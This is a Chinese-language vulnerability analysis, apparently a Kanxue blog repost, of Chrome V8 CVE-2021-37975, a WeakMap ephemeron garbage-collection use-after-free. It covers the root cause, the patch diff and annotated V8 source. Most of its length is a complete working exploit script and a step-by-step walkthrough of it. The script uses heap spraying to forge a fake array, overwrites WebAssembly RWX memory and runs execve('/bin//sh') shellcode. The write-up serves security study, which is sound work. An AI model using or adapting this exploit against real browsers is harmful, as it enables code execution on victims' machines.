一
前言
文章分析了漏洞成因、原理、patch以及POC细节。
二
POC
编译
# 国内的网络编译会失败,挂VPN也遇到了各种问题。
# 推荐腾讯云上购买新加坡服务器2core 2G 39元一个月,编译一路丝滑。
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=/path/to/depot_tools:$PATH
mkdir ~/v8
cd ~/v8
fetch v8
cd v8
# 漏洞补丁前一笔提交
git checkout 452f57beb81
gclient sync
alias gm=~/v8/tools/dev/gm.py
gm x64.release
gm x64.debug
# test
./out/x64.release/d8 --help
运行POC
// poc.js
function sleep(miliseconds) {
var currentTime = new Date().getTime();
while (currentTime + miliseconds >= new Date().getTime()) {
}
}
var initKey = {init : 1};
var level = 4;
var map1 = new WeakMap();
var gcSize = 0x4fe00000;
var sprayParam = 1000;
//Get mapAddr using DebugPrint for double array (the compressed address of the map)
var mapAddr = 0x8203ae1;
var mapAddr = 0x8183ae1
var rwxOffset = 0x60;
var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module);
var wasmMain = instance.exports.main;
//Return values should be deleted/out of scope when gc happen, so they are not directly reachable in gc
function hideWeakMap(map, level, initKey) {
let prevMap = map;
let prevKey = initKey;
for (let i = 0; i < level; i++) {
let thisMap = new WeakMap();
prevMap.set(prevKey, thisMap);
let thisKey = {'h' : i};
//make thisKey reachable via prevKey
thisMap.set(prevKey, thisKey);
prevMap = thisMap;
prevKey = thisKey;
if (i == level - 1) {
let retMap = new WeakMap();
map.set(thisKey, retMap);
return thisKey;
}
}
}
//Get the key for the hidden map, the return key is reachable as strong ref via weak maps, but should not be directly reachable when gc happens
function getHiddenKey(map, level, initKey) {
let prevMap = map;
let prevKey = initKey;
for (let i = 0; i < level; i++) {
let thisMap = prevMap.get(prevKey);
let thisKey = thisMap.get(prevKey);
prevMap = thisMap;
prevKey = thisKey;
if (i == level - 1) {
return thisKey;
}
}
}
function setUpWeakMap(map) {
// for (let i = 0; i < 1000; i++) new Array(300);
//Create deep enough weak ref trees to hiddenMap so it doesn't get discovered by concurrent marking
let hk = hideWeakMap(map, level, initKey);
//Round 1 maps
let hiddenMap = map.get(hk);
let map7 = new WeakMap();
let map8 = new WeakMap();
//hk->k5, k5: discover->wl
let k5 = {k5 : 1};
let map5 = new WeakMap();
let k7 = {k7 : 1};
let k9 = {k9 : 1};
let k8 = {k8 : 1};
let ta = new Uint8Array(1024);
ta.fill(0xfe);
let larr = new Array(1 << 15);
larr.fill(1.1);
console.log("================ double in free zone: larr");
// %DebugPrint(larr);
let v9 = {ta : ta, larr : larr};
map.set(k7, map7);
map.set(k9, v9);
//map3 : kb|vb: initial discovery ->wl
hiddenMap.set(k5, map5);
hiddenMap.set(hk, k5);
//iter2: wl: discover map5, mark v6 (->k5) black, discovery: k5 black -> wl
//iter3: wl: map5 : mark map7, k7, no discovery, iter end
map5.set(hk, k7);
//Round 2: map5 becomes kb in current, initial state: k7, map7 (black), goes into wl
//iter1
//wl discovers map8, and mark k8 black
map7.set(k8, map8);
map7.set(k7, k8);
//discovery moves k8, map8 into wl
//iter2 marks k9 black, iter finished
map8.set(k8,k9);
}
var view = new ArrayBuffer(24);
var dblArr = new Float64Array(view);
var intView = new Int32Array(view);
var bigIntView = new BigInt64Array(view);
function ftoi32(f) {
dblArr[0] = f;
return [intView[0], intView[1]];
}
function i32tof(i1, i2) {
intView[0] = i1;
intView[1] = i2;
return dblArr[0];
}
function itof(i) {
bigIntView = BigInt(i);
return dblArr[0];
}
function ftoi(f) {
dblArr[0] = f;
return bigIntView[0];
}
function gc() {
//trigger major GC: See https://tiszka.com/blog/CVE_2021_21225_exploit.html (Trick #2: Triggering Major GC without spraying the heap)
new ArrayBuffer(gcSize);
}
function restart() {
//Should deopt main if it gets optimized
global.__proto__ = {};
gc();
sleep(2000);
main();
}
function main() {
setUpWeakMap(map1);
//sleep(2000);
gc();
//sleep(2000);
let sprayParamArr = [];
for (let i = 0; i < sprayParam; i++) {
let thisArr = new Array(1 << 15);
sprayParamArr.push(thisArr);
}
//These are there to stop main being optimized by JIT
globalIdx['a' + globalIdx] = 1;
//Can't refactor this, looks like it cause some double rounding problem (got optimized?)
for (let i = 0; i < sprayParamArr.length; i++) {
let thisArr = sprayParamArr[i];
thisArr.fill(instance);
}
globalIdx['a' + globalIdx + 1000] = 1;
let result = null;
try {
// handle: Cannot read properties of undefined. out of order map keys
result = fetch();
} catch (e) {
console.log("fetch failed");
restart();
return;
}
if (!result) {
console.log("fail to find object address.");
restart();
return;
}
let larr = result.larr;
let index = result.idx;
console.log("================ double in free zone: instance");
// %DebugPrint(instance);
// larr 里面全部存放的是instance 对象地址, index 默认为0
let instanceAddr = ftoi32(larr[index])[0];
let instanceAddr2 = ftoi32(larr[index])[1];
let instanceFloatAddr = larr[index];
console.log("================found instance address: 0x" + instanceAddr.toString(16) + " at index: " + index);
console.log("================found instance address2: 0x" + instanceAddr2.toString(16) + " at index: " + index);
let x = {};
for (let i = 0; i < sprayParamArr.length; i++) {
let thisArr = sprayParamArr[i];
thisArr.fill(x);
}
globalIdx['a' + globalIdx + 5000] = 1;
larr[index] = instanceFloatAddr;
let objArrIdx = -1;
let thisArrIdx = -1;
for (let i = 0; i < sprayParamArr.length; i++) {
globalIdx['a' + globalIdx + 3000] = 1;
global.__proto__ = {};
let thisArr = sprayParamArr[i];
for (let j = 0; j < thisArr.length; j++) {
let thisObj = thisArr[j];
if (thisObj == instance) {
console.log("found instance object at: " + i + " index: " + j);
objArrIdx = i;
thisArrIdx = j;
}
}
}
globalIdx['a' + globalIdx + 4000] = 1;
if (objArrIdx == -1) {
console.log("failed getting fake object index.");
restart();
return;
}
let obj = [1.1,1.2,1.3,0.0];
console.log("================ obj");
// %DebugPrint(obj)
let thisArr = sprayParamArr[objArrIdx];
thisArr.fill(obj);
globalIdx['a' + globalIdx + 2000] = 1;
// 现在larr里面填充的是obj 对象地址
// %SystemBreak();
let addr = ftoi32(larr[index])[0];
let objEleAddr = addr + 0x18 + 0x8;
let floatAddr = i32tof(objEleAddr, objEleAddr);
let floatMapAddr = i32tof(mapAddr, mapAddr);
//Faking an array at using obj[0] and obj[1]
obj[0] = floatMapAddr;
let eleLength = i32tof(instanceAddr + rwxOffset, 10);
obj[1] = eleLength;
larr[index] = floatAddr;
console.log("array address: 0x" + addr.toString(16));
console.log("array element address: 0x" + objEleAddr.toString(16));
let rwxAddr = 0;
let fakeArray = sprayParamArr[objArrIdx][thisArrIdx];
if (!(fakeArray instanceof Array)) {
console.log("fail getting fake array.");
restart();
return;
}
rwxAddr = fakeArray[0];
console.log("rwx address at: 0x" + ftoi(rwxAddr).toString(16));
if (rwxAddr == 0) {
console.log("failed getting rwx address.");
restart();
return;
}
//Read shellArray address
let shellArray = new Uint8Array(100);
thisArr = sprayParamArr[objArrIdx];
thisArr.fill(shellArray);
let shellAddr = ftoi32(larr[index])[0];
console.log("shellArray addr: 0x" + shellAddr.toString(16));
obj[1] = i32tof(shellAddr + 0x20, 10);
fakeArray[0] = rwxAddr;
var shellCode = [0x31, 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x56, 0x53, 0x54, 0x5f, 0xb8, 0x3b, 0, 0, 0, 0xf, 0x5];
for (let i = 0; i < shellCode.length; i++) {
shellArray[i] = shellCode[i];
}
wasmMain();
}
function findTA(ta) {
let found = false;
for (let i = 0; i < 16; i++) {
if (ta[i] != 0xfe) {
console.log(ta[i]);
return true;
}
}
console.log(ta[0]);
return found;
}
/*
let ta = new Uint8Array(1024);
ta.fill(0xfe);
let larr = new Array(1 << 15);
larr.fill(1.1);
let v9 = {ta : ta, larr : larr};
*/
function findLArr(larr) {
for (let i = 0; i < (1 << 15); i++) {
if (larr[i] != 1.1) {
let addr = ftoi32(larr[i]);
return i;
}
else {
// 可以正常打印,标记了,还没有真正free?
//console.log(larr[i])
}
}
return -1;
}
function fetch() {
let hiddenKey = getHiddenKey(map1, level, initKey);
let hiddenMap = map1.get(hiddenKey);
let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey);
let k8 = map1.get(k7).get(k7);
let map8 = map1.get(k7).get(k8);
console.log('===========before access free pointet 1')
console.log('===========before access free pointet 2')
let larr = map1.get(map8.get(k8)).larr;
console.log('===========before findLArr')
let index = findLArr(larr);
console.log('===========after findLArr')
if (index == -1) {
return;
}
return {larr : larr, idx : index};
}
global = {};
globalIdx = 0;
main();
// test1.js
let obj = [1.1,1.1,1.1];
%DebugPrint(obj)
user % ./out/x64.release/d8 --allow-natives-syntax test1.js
DebugPrint: 0x5fe08049501: [JSArray]
- map: 0x05fe08183ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x05fe0814c0f9 <JSArray[0]>
- elements: 0x05fe080494e1 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x05fe0800222d <FixedArray[0]>
- All own properties (excluding elements): {
0x5fe080048f1: [String] in ReadOnlySpace: #length: 0x05fe080c215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x05fe080494e1 <FixedDoubleArray[3]> {
0-2: 1.1
}
# 0x05fe08183ae1 取低32位0x8183ae1, 赋值给poc.js里面的mapAddr 即可。取低32位,是因为v8采用了地址压缩技术,64位地址在变量中只保存低32位,高32位在寄存中保留。
# POC可以简单通过test1.js 来获取double arr的地址; exp实际利用环境,可以通过此UAF漏洞构造任意地址读来获取double arr的地址。方法不再赘述。
三
漏洞成因分析
GC背景
WeakMap背景
漏洞分析
while (work_to_do) {
// 迭代超过10次,换另外一个标记算法 ProcessEphemeronsLinear
if (iterations >= max_iterations) {
ProcessEphemeronsLinear();
break;
}
// 迭代开始时current_ephemerons 与 next_ephemerons交换,交换之后next_ephemerons为空
weak_objects_.current_ephemerons.Swap(weak_objects_.next_ephemerons);
heap()->concurrent_marking()->set_ephemeron_marked(false);
...
// 调用ProcessEphemerons 对current_ephemerons、next_ephemerons、local_marking_worklists、discovered_ephemerons等数据结构做处理,并且根据返回结果判断是否还需要下一次迭代
work_to_do = ProcessEphemerons();
...
work_to_do = work_to_do || !local_marking_worklists()->IsEmpty() ||
heap()->concurrent_marking()->ephemeron_marked() ||
!local_marking_worklists()->IsEmbedderEmpty() ||
!heap()->local_embedder_heap_tracer()->IsRemoteTracingDone();
++iterations;
}
bool MarkCompactCollector::ProcessEphemerons() {
Ephemeron ephemeron;
bool ephemeron_marked = false;
// 对current_ephemerons中的每一个键值对调用ProcessEphemeron做处理,如果成功,则返回true,表示需要再迭代一次
while (weak_objects_.current_ephemerons.Pop(kMainThreadTask, &ephemeron)) {
if (ProcessEphemeron(ephemeron.key, ephemeron.value)) {
ephemeron_marked = true;
}
}
/*
对local_marking_worklists中的每一个对象进行递归访问。对于WeakMap对象来说,遍历它的每一个键值对。(区别JS中不能遍历WeakMap键值对,v8引擎实现WeakMap时是有能力遍历的)
(key, value) 为 (黑, 黑) 不做任何处理
(key, value) 为 (黑, 白) 将value对象标记为灰,加入到local_marking_worklists队列中,DrainMarkingWorklist会继续处理这个对象,直至队列清空。
(key, value) 为 (白, 黑) 将key对象标记为灰,加入到local_marking_worklists队列中,DrainMarkingWorklist会继续处理这个对象,直至队列清空。
(key, value) 为 (白, 白) 将键值对加入到discovered_ephemerons队列中
*/
DrainMarkingWorklist();
// 将discovered_ephemerons 中的键值对用ProcessEphemeron 处理
while (weak_objects_.discovered_ephemerons.Pop(kMainThreadTask, &ephemeron)) {
if (ProcessEphemeron(ephemeron.key, ephemeron.value)) {
ephemeron_marked = true;
}
}
// Flush local ephemerons for main task to global pool.
weak_objects_.ephemeron_hash_tables.FlushToGlobal(kMainThreadTask);
weak_objects_.next_ephemerons.FlushToGlobal(kMainThreadTask);
return ephemeron_marked;
}
bool MarkCompactCollector::ProcessEphemeron(HeapObject key, HeapObject value) {
// key为黑或者灰的时候,将value标记为灰,加入到local_marking_worklists,下一次迭代时处理
if (marking_state()->IsBlackOrGrey(key)) {
if (marking_state()->WhiteToGrey(value)) {
local_marking_worklists()->Push(value);
return true;
}
} else if (marking_state()->IsWhite(value)) {
// 键值对均为白,加入到next_ephemerons中
weak_objects_.next_ephemerons.Push(kMainThreadTask, Ephemeron{key, value});
}
return false;
}
bool MarkCompactCollector::ProcessEphemerons() {
Ephemeron ephemeron;
bool ephemeron_marked = false;
while (weak_objects_.current_ephemerons.Pop(kMainThreadTask, &ephemeron)) {
if (ProcessEphemeron(ephemeron.key, ephemeron.value)) {
ephemeron_marked = true;
}
}
/*
对local_marking_worklists中的每一个对象进行递归访问。对于WeakMap对象来说,遍历它的每一个键值对。(区别JS中不能遍历WeakMap键值对,v8引擎实现WeakMap时是有能力遍历的)
(key, value) 为 (黑, 黑) 不做任何处理
(key, value) 为 (黑, 白) 将value对象标记为灰,加入到local_marking_worklists,DrainMarkingWorklist会继续处理这个对象,直至队列清空。
(key, value) 为 (白, 黑) 将key对象标记为灰,加入到local_marking_worklists队列中,DrainMarkingWorklist会继续处理这个对象,直至队列清空。
(key, value) 为 (白, 白) 将键值对加入到discovered_ephemerons队列中
*/
DrainMarkingWorklist();
while (weak_objects_.discovered_ephemerons.Pop(kMainThreadTask, &ephemeron)) {
if (ProcessEphemeron(ephemeron.key, ephemeron.value)) {
ephemeron_marked = true;
}
}
weak_objects_.ephemeron_hash_tables.FlushToGlobal(kMainThreadTask);
weak_objects_.next_ephemerons.FlushToGlobal(kMainThreadTask);
return ephemeron_marked;
}
DrainMarkingWorklist 函数内部在(key, value)为(黑,白)或者(白,黑)时也将会对白色的对象进行标记。遗憾的是,标记完之后并没有判断返回值。也就是说,可能出现DrainMarkingWorklist标记一个对象为黑之后,并不开启下一次迭代,从而结束GC算法。
考虑一轮标记各结构如上图,此时current_ephemerons中(k1, v1), (k2, v2)为白。
local_marking_worklists中存放了灰色的v3, v3是一个WeakMap, v3.set(k0, k1),假设此时k0为黑。DrainMarkingWorklist将v3由灰标记为黑,并递归遍历v3所有的key, value,此时(k0, k1)为(黑,白),将会把k1变为灰,加入到local_marking_worklists,并接着将local_marking_worklists中的k1由灰标记为黑,直至local_marking_worklists为空。
由于调用DrainMarkingWorklist并未判断返回值,k1被标记为黑色之后,如果此时GC标记算法结束,那么current_ephemerons中的v1由于还是白,将会被释放掉。而v1可以通过weakmap.get(k1)访问到,就会造成了UAF。
四
补丁分析
- DrainMarkingWorklist();
+ size_t objects_processed;
+ std::tie(std::ignore, objects_processed) = ProcessMarkingWorklist(0);
+
+ // As soon as a single object was processed and potentially marked another
+ // object we need another iteration. Otherwise we might miss to apply
+ // ephemeron semantics on it.
+ if (objects_processed > 0) another_ephemeron_iteration = true;
ProcessEphemeronsLinear
while (work_to_do) {
// 迭代超过10次,换另外一个标记算法 ProcessEphemeronsLinear
if (iterations >= max_iterations) {
ProcessEphemeronsLinear();
break;
}
void MarkCompactCollector::ProcessEphemeronsLinear() {
...
weak_objects_.current_ephemerons.Swap(weak_objects_.next_ephemerons);
// 处理current_ephemerons
while (weak_objects_.current_ephemerons.Pop(kMainThreadTask, &ephemeron)) {
ProcessEphemeron(ephemeron.key, ephemeron.value);
// key_to_values 保留value为白的键值对
if (non_atomic_marking_state()->IsWhite(ephemeron.value)) {
key_to_values.insert(std::make_pair(ephemeron.key, ephemeron.value));
}
}
ephemeron_marking_.newly_discovered_limit = key_to_values.size();
bool work_to_do = true;
while (work_to_do) {
PerformWrapperTracing();
ResetNewlyDiscovered();
ephemeron_marking_.newly_discovered_limit = key_to_values.size();
// 处理 local_marking_worklists
// 乍一看,ProcessEphemeronsLinear 也没有处理ProcessMarkingWorklist的返回值,是不是也存在漏洞?接着看
ProcessMarkingWorklist<
MarkCompactCollector::MarkingWorklistProcessingMode::
kTrackNewlyDiscoveredObjects>(0);
// 处理discovered_ephemerons
while (
weak_objects_.discovered_ephemerons.Pop(kMainThreadTask, &ephemeron)) {
ProcessEphemeron(ephemeron.key, ephemeron.value);
if (non_atomic_marking_state()->IsWhite(ephemeron.value)) {
key_to_values.insert(std::make_pair(ephemeron.key, ephemeron.value));
}
}
if (ephemeron_marking_.newly_discovered_overflowed) {
// 想要触发漏洞,不能进这个分支。k1被标记为黑,走这个分支,v1将被标记会为灰,并加入local_marking_worklists,这将开启下一个迭代,v1将不会被free
weak_objects_.next_ephemerons.Iterate([&](Ephemeron ephemeron) {
if (non_atomic_marking_state()->IsBlackOrGrey(ephemeron.key) &&
non_atomic_marking_state()->WhiteToGrey(ephemeron.value)) {
local_marking_worklists()->Push(ephemeron.value);
}
});
} else {
/*
进到这个分支。如果k1不在ephemeron_marking_.newly_discovered数组中,那么将会触发漏洞。
经过调试发现,ephemeron_marking_.newly_discovered数组中包含k1。这个数组是通过ProcessMarkingWorklist<
MarkCompactCollector::MarkingWorklistProcessingMode::
kTrackNewlyDiscoveredObjects>(0);函数调用时启用的一个数组,用来记录local_marking_worklists中被标记为黑色的对象。
因此k1在这个数组中。进一步key_to_values中的(k1,v1)被查找出来,MarkObject(object, value)将会标记v1
*/
for (HeapObject object : ephemeron_marking_.newly_discovered) {
auto range = key_to_values.equal_range(object);
for (auto it = range.first; it != range.second; ++it) {
HeapObject value = it->second;
MarkObject(object, value);
}
}
}
// 判断是否需要下一个循环
work_to_do = !local_marking_worklists()->IsEmpty() ||
!local_marking_worklists()->IsEmbedderEmpty() ||
!heap()->local_embedder_heap_tracer()->IsRemoteTracingDone();
CHECK(weak_objects_.discovered_ephemerons.IsEmpty());
}
ResetNewlyDiscovered();
ephemeron_marking_.newly_discovered.shrink_to_fit();
CHECK(local_marking_worklists()->IsEmpty());
}
五
POC详解
var initKey = {init : 1};
var map1 = new WeakMap();
function main() {
setUpWeakMap(map1);
gc();
}
// 构造一个WeakMap,map1,它的初始key:initKey是全局可见的,其他可见(key, value)对,都需要通过initkey来查找
function setUpWeakMap(map) {
let hk = hideWeakMap(map, level, initKey);
let hiddenMap = map.get(hk);
...
xxxxxxx
...
}
setUpWeakMap剩余部分构造了右边的结构。
function setUpWeakMap(map) {
...
let ta = new Uint8Array(1024);
ta.fill(0xfe);
let larr = new Array(1 << 15);
larr.fill(1.1);
let v9 = {ta : ta, larr : larr};
...
}
function main() {
setUpWeakMap(map1);
// 触发gc,此时v9被free。v9.ta(uint arr), v9.larr(double arr)均被free
gc();
let sprayParamArr = [];
for (let i = 0; i < sprayParam; i++) {
// 大小跟v9.larr一样大,堆喷,大概率可以在v9.larr被释放的内存上再次申请到新对象thisArr
// 这里并没有复写里面的内容,因此还是v9.larr里面存放的1.1
let thisArr = new Array(1 << 15);
sprayParamArr.push(thisArr);
}
for (let i = 0; i < sprayParamArr.length; i++) {
let thisArr = sprayParamArr[i];
// 将1.1 替换为instance地址
thisArr.fill(instance);
}
...
}
function fetch() {
let hiddenKey = getHiddenKey(map1, level, initKey);
let hiddenMap = map1.get(hiddenKey);
let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey);
let k8 = map1.get(k7).get(k7);
let map8 = map1.get(k7).get(k8);
let larr = map1.get(map8.get(k8)).larr;
// 通过map1和initKey找到v9.larr,此时已经被堆喷了,因此访问不会crash
let index = findLArr(larr);
if (index == -1) {
return;
}
return {larr : larr, idx : index};
}
function findLArr(larr) {
for (let i = 0; i < (1 << 15); i++) {
// 值如果不是1.1,那么表示被替换为instance地址,表示堆喷成功
if (larr[i] != 1.1) {
let addr = ftoi32(larr[i]);
return i;
}
}
return -1;
}
function main() {
try {
// handle: Cannot read properties of undefined. out of order map keys
result = fetch();
} catch (e) {
console.log("fetch failed");
restart();
return;
}
}
let obj = [1.1,1.2,1.3,0.0];
let thisArr = sprayParamArr[objArrIdx];
// 将obj的地址写入到v9.larr(double arr)里面
thisArr.fill(obj);
globalIdx['a' + globalIdx + 2000] = 1;
// 获取obj的addr
let addr = ftoi32(larr[index])[0];
// obj 数组指针的地址,可以通过DebugPrint或者gdb查看,0x20偏移,不同版本v8可能不一样
let objEleAddr = addr + 0x18 + 0x8;
// objEleAddr/floatAddr 等于 &obj[0]表示的地址
let floatAddr = i32tof(objEleAddr, objEleAddr);
let floatMapAddr = i32tof(mapAddr, mapAddr);
// 利用obj数组构造一个假的对象,对象类型为double arr
// 填充假对象的map:floatMapAddr,它是double arr的map值,因此这个假对象是个double arr对象
obj[0] = floatMapAddr;
let eleLength = i32tof(instanceAddr + rwxOffset, 10);
// 填充double arr对象的数组指针(instanceAddr + rwxOffset) 和 长度(10)
obj[1] = eleLength;
// floatAddr是假对象的地址,将假对象地址通过double arr写入内存
larr[index] = floatAddr;
console.log("array address: 0x" + addr.toString(16));
console.log("array element address: 0x" + objEleAddr.toString(16));
// 获取假对象,他是double arr,数组指向 instanceAddr + rwxOffset,这个地址存放着可读可写可执行的地址的值。是instance.exports.main函数入口
let fakeArray = sprayParamArr[objArrIdx][thisArrIdx];
...
// 读出instance.exports.main函数的值
rwxAddr = fakeArray[0];
...
// 创建一个数组对象
let shellArray = new Uint8Array(100);
thisArr = sprayParamArr[objArrIdx];
thisArr.fill(shellArray);
// 获取数组对象地址
let shellAddr = ftoi32(larr[index])[0];
console.log("shellArray addr: 0x" + shellAddr.toString(16));
// shellAddr + 0x20,数组指针地址,此时fakeArray假对象指针指向数组指针地址所在的内存
obj[1] = i32tof(shellAddr + 0x20, 10);
// 通过假对象修改shellArray 数组指向的地方,指向了rwxAddr,读写shellArray,就是读写rwxAddr开始的一块内存。而rwxAddr就是instance.exports.main函数入口
fakeArray[0] = rwxAddr;
var shellCode = [0x31, 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x56, 0x53, 0x54, 0x5f, 0xb8, 0x3b, 0, 0, 0, 0xf, 0x5];
for (let i = 0; i < shellCode.length; i++) {
// 往rwxAddr地方写入shellcode
shellArray[i] = shellCode[i];
}
// 调用instance.exports.main,已经被修改为shellcode
wasmMain();
参考
看雪ID:coolboyme
https://bbs.kanxue.com/user-home-492418.htm
# 往期推荐
2、BFS Ekoparty 2022 Linux Kernel Exploitation Challenge
3、银狐样本分析
球分享
球点赞
球在看
点击阅读原文查看更多
原文始发于微信公众号(看雪学苑):Chrome V8漏洞CVE-2021-37975浅析